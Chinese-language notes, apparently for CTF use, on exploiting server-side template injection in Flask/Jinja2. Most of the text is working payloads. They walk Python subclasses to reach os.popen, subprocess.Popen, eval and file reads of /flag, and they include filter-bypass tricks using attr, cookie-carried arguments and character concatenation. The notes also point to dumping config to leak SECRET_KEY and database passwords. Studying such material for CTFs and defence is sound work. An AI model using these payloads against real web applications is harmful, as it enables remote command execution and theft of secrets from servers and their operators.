FLASK

__class__：查看当前对象所属的类

__mro__：查看当前类的继承关系（MethodResolutionOrder），通常用来找基类object

__base__：查看当前类的直接父类

__subclasses__()：列出当前运行环境下，该类所有的子类，自定义的类也在这里（这是寻找RCE插件的关键）

__init__：类的初始化方法，访问构造函数，函数对象都有__globals__属性

__globals__：函数所在模块的全局变量字典，获取该函数运行时的所有全局变量、函数和引用的模块（如果这个类所在的文件夹里引用了os，或者它能访问__builtins__，那么os模块就会出现在这个字典里）
如果[]被禁__globals__要访问字典键可
以：.os，.get("os")，|attr('os')，.__getitem__('os')，dict，request

要是没有什么类,可以用可以找找__builtins__工具，包含了python所有内置函数

有__class__属性的有：(),'',"",
[],config,request,self,lipsum,cycler,joiner,namespace,url_for,get_flashed_messages

分隔符也可以改，开发者自定义
{{}}：变量、表达式打印，有回显

{%%}：语句、控制流，无回显，唯一有个print可以打印像
例：{% if admin %} ... {% endif %}
{% for i in range(10) %} ... {% endfor %}
{% set a = 'os' %}

{##}：注释，不会被执行

#：行语句需要开启配置

在jinja2中没有定义的变量值为Undefined对象

过滤器(join,attr)没有参数，可以不加括号

~：在jinja2中，在~两边的不管是什么都会被转成字符串，将字符连接在一起，如
10~2=>"102","a"~"b"="ab"

常用模块和类

os模块

```
这是最直接的目标它通常隐藏在这些子类的__globals__中：

os._wrap_close(Python3极常用，索引通常在前150个)

warnings.catch_warnings(经典老牌)

site._Printer

linecache(因为它内部为了读取源码引用了os)
例：
{{().__class__.__bases__[0].__subclasses__()[索
引].__init__.__globals__['os'].popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']
('ls').read()}}
```

inspect.Signature

```
?name={{''.__class__.__base__.__subclasses__()
[290].__init__.__globals__['os'].popen('cat/flag').read()}}
也有__builtins__
```

subprocess.Popen

```
subprocess.Popen(通常直接出现在subclasses列表中)

例：{{().__class__.__bases__[0].__subclasses__()[索引]
('ls',shell=True,stdout=-1).communicate()[0]}}
communicate()会返回一个元组，两个元素标准输出和标准错误
```

_frozen_importlib_external.FileLoader

```
可用于绕过那些过滤了os、popen、eval或open的waf
FileLoader是Python内部用来从硬盘加载文件的类它有一个内置方法叫get_data(0,path)，第一个参数
是self，get_data不会用到self，所以可以随便传参，但省略会报错

{{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}
{{''.__class__.__base__.__subclasses__()[94].get_data(0,'/flag')}}
```

traceback.TracebackException

```
?name={{''.__class__.__base__.__subclasses__()
[292].__init__.__globals__['linecache']['os'].popen('ls/').read()}}}}
```

builtins模块

```
__builtins__就像一个百宝箱，里面包含了Python所有的内置函数，如eval,__import__,open
只要能访问到__globals__机会百分百__builtins__,而能访问__globals__的都是python写的，包括用户自定义的类
常用入口类：site.Quitter,site._Printer,warnings.catch_warnings

利用方式：

执行eval：__globals__['__builtins__']['eval']
("__import__('os').popen('id').read()")

使用import：__globals__['__builtins__']['__import__']('os').system('ls')
```

flask.json.tag.JSONTag

```
{{''.__class__.__base__.__subclasses__()
[446].__init__.__globals__['__builtins__']['eval']
("__import__('os').popen('whoami').read()")}}
```

绕过

request对象

```
是flask就有，flask.*
{{url_for.__globals__['request']}}
{{get_flashed_messages.__globals__['request']}}
request.args：解析后的URL查询字符串（GET参数）
结构：?name=abc&age=18，request.args.name调用
{'name':'abc','age':'18'}

request.form：POST请求中表单提交的数据
结构：类似字典

request.values：args和form的结合体

request.cookies：客户端发送的所有Cookie
SSTI价值：如果URL长度受限，可以将Payload放在Cookie里，通过request.cookies.mykey读取

request.headers：所有的HTTP请求头
结构：包含User-Agent,Referer,Host等
SSTI价值：可以用request.headers['User-Agent']来读取数据

request.method：请求方法（GET,POST,PUT等）

request.path：请求的路径（不带域名和参数，如/login）

request.url：完整的请求地址

request.host：服务器的主机名（域名）

request.remote_addr：客户端的真实IP地址

request.files：上传的文件对象

request.json：如果请求头是application/json，这里存放解析后的JSON数据
```

```
?name={{().__class__.__base__.__subclasses__()[94][request.args.m1]
(0,request.args.m2)}}&m1=get_data&m2=/flag
```

pop函数

```
__subclasses__()是列表，__init__.__global__是字典都可以使用pop
pop会删除并返回指定键的值，通常一次性会导致环境崩溃
__subclasses__()[94]和__subclasses__().pop(94)值相等
```

lipsum函数

```
内置函数有__globals__属性,可以直接lipsum.__globals__
拥有模块：os

{{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies
.m2).read()}}
cookie：m1=__globals__;m2=cat /flag;m3=os
{{ (lipsum|attr(request.cookies.n)|attr(request.cookies.k))
("os").popen(request.cookies.m).read() }}
cookie：n=__globals__;k=__getitem__;m=ls
{{ (lipsum|attr(request.cookies.n))
[request.cookies.k].popen(request.cookies.m).read() }}
cookie：n=__globals__;k=os;m=ls
{{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies
.m2).read()}}
cookie：m1=__globals__;m2=cat /flag;m3=os
```

|attr()过滤器

```
可以是字符串也可以是变量
lipsum|attr("__init__")|attr("__globals__") 等于 lipsum.__init__.__globals__

{{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}}
Cookie：m1=__globals__;m2=cat /flag
```

{%%}分隔符

```
{%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.c
ookies.m2).read())%}
cookie：m1=__globals__;m2=cat /flag;m3=os

{% %}中可以写set定义变量，{{}}会报错
```

字符拼接绕过

```
dict：dict函数在创造字典时python会自动把赋值对象看成字符串
例：dict(name=1)直接生成{"name":1}
join：对字典使用join时，join会把字典的所有键拼接成一个字符串，所以dict(po=a,p=a)|join可以生
成"pop"，而a是占位符随便写

{% set po=dict(po=a,p=a)|join%}          {#设置po为pop#}
{% set a=(()|select|string|list)|attr(po)(24)%} {#{{()|select}}为<generator
object select_or_reject at 0x7fbdb99af220>，pop(24)正好时下划线#}
```

```
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {#设置ini为__init__#}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}  {#设置glo为__globals__#}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {#设置geti为__getitem__#}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}   {#设置built为
__builtins__#}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{#设置x为
q.__ini__.__globals__.__getitem__('__builtins')#}
{% set chr=x.chr%}  {#提取__builtins__中的chr函数#}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{#构造文件路
径/flag#}
{%print(x.open(file).read())%}{#利用__builtins__.open('/flag').read()读取文件内容#}
```

数字被过滤可以用count如{%set n=(dict(cccc=a)|join)|count%}将n赋值为4
length：count被过滤可以用length替换，jinja2的length和count完全等价

```
{%print(lipsum|string|list)%}
```

输出：

```
['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a',
't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a',
't', ' ', '0', 'x', '7', 'f', '6', 'b', 'f', '3', 'e', '4', 'c', '5', '5', '0',
'>']
```

而我们要在这些字符中把我们想要的一个个拼起来
例：

```
{%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~
((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~
((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~
((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~
((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~
((lipsum|string|list).pop(18)))%}
{%print(lipsum|attr(gl))%}
```

gl为__globals__

框架内置对象(Flask/Jinja2特有)

不需要从''出发，直接在模板中就能拿到的对象
config:泄露SECRET_KEY、数据库连接密码{{config}}
request:利用请求对象

```
{{request.application.__self__._get_data_for_json.__globals__['os'].popen('id').r
ead()}}
```

url_for/get_flashed_messages:{{url_for.__globals__['os'].popen('ls').read()}}